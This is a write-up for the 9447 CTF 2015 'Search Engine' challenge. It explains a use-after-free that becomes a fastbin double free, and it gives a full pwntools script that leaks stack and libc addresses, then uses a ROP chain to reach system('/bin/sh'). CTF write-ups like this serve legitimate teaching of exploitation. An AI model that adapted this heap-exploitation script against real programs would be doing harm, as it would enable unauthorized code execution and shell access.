Double Free Exploit
9447 CTF 2015: Search Engine Writeup
Reversing:
The binary is 64-bit , which has NX and canaries enabled.
It's functionalities are :
- Add a sentence : malloc(size)
- Search a word : split the sentence using spaces and a pointer to it
struct created :
struct Word { char *word_ptr; int word_len; char *src_sentence; int sentence_size; struct Word *next; };
validation :
void search() { for ( i = words; i; i = i->next ) { if ( *i->sentence ) { if ( i->word_len == size && !memcmp(i->word_ptr, needle, size) ) { __printf_chk(1LL, "Found %d: ", i->sentence_size); fwrite(i->sentence, 1uLL, i->sentence_size, stdout); putchar('\n'); puts("Delete this sentence (y/n)?"); read_until_newline(&choice, 2, 1); if ( choice == 'y' ) { memset(i->sentence, 0, i->sentence_size); free(i->sentence); puts("Deleted!"); } } ....
Exploit
We can see that after searching a word , we are able to delete a sentence, and it's contents as free'd out , but the word linked
list is not freed hence it can be a UAF , but there is a check *i->sentence which prevents us from double free , but a good a thing
is after freeing it it as added to fastbin list , and if we free another sentece a fd pointer is placed at previous chunk , now
i->sentence is not null and now we can search for '\x00' and delete the sentance again giving us double free corruption
So the plan is :
Create 3 sentences "A"*48+" C"
now delete all 3 by searching for word "C"
now the freelist would be 1->2->3
now delete 2 again causing freelist to be 2->1->2
now allocate a sentence of size 48 now we will get 2 , with this we could corrupt fd
now allocate 2 more sentences to make bin->corruptd fd
now we allocate a sentence to have arbitary write
since the malloc checks the fd->size with malloc(size) we need to return to area where size is 0x40
now overwrite eip and checkmate
Leaking stack :
the func read_num gets 48 bytes , if we give "A"*48 it null terminated and would leak stack address
Leaking libc :
since the small bins have fd and bk pointer the bk pointer of 1'st chunk would contain libc address
Exploit code :
from pwn import *
context.bits = 64
pop_rdi_ret = 0x400e23
system_off = 0x35a708
binsh_off = 0x2381bf
def search(size,word):
p.recvlines(3)
p.sendline('1')
p.recvline()
p.sendline(str(size))
p.recvline()
p.sendline(word)
def create(size,word):
p.recvlines(3)
p.sendline('2')
p.recvline()
p.sendline(str(size))
p.recvline()
p.sendline(word)
p.recvline()
def leak_stack():
p.recvlines(3)
p.sendline('A'*48)
p.recvline()
# doesn't work all the time
p.sendline('A'*48)
leak = p.recvline().split()[0].split('A'*48)[1]
context.bits = len(leak)*8
leak = unpack(leak)
log.info("Stack leak: "+hex(leak))
# dummy entry to exit
p.sendline('1')
p.recvline()
p.sendline('1')
p.recvline()
p.sendline('H')
return leak
def leak_libc():
create(170,"A"*168+" C")
search(1,"C")
p.recvlines(2)
p.sendline("y")
p.recvline()
search(1,"\x00")
leak=p.recvline()[11:17]
context.bits = len(leak)*8
leak = unpack(leak)
log.info("libc leak: "+hex(leak))
p.recvline()
p.sendline("n")
return leak
p = process('./search')
print ""
stack_leak = leak_stack()
libc_leak = leak_libc()
fake_heap = stack_leak + 0x32
system = libc_leak - system_off
binsh = libc_leak - binsh_off
log.info("System: "+hex(system))
log.info("/bin/sh: "+hex(binsh))
context.bits = 64
payload = "\x90"*6+pack(pop_rdi_ret)+pack(binsh)+pack(system)+"\x90"*18
create(48,"A"*46+" C")
create(48,"B"*46+" C")
create(48,"D"*46+" C")
search(1,"C")
print p.recvlines(2)
p.sendline("y")
print p.recvline()
print p.recvlines(2)
p.sendline("y")
print p.recvline()
print p.recvlines(2)
p.sendline("y")
print p.recvline()
search(1,"\x00")
print p.recvlines(2)
p.sendline("y")
print p.recvline()
print p.recvlines(2)
p.sendline("n")
create(48,pack(fake_heap)+"A"*40) # overwrite fd
create(48,"B"*48) # unused
create(48,"C"*48) # unused
create(48,payload)
p.interactive()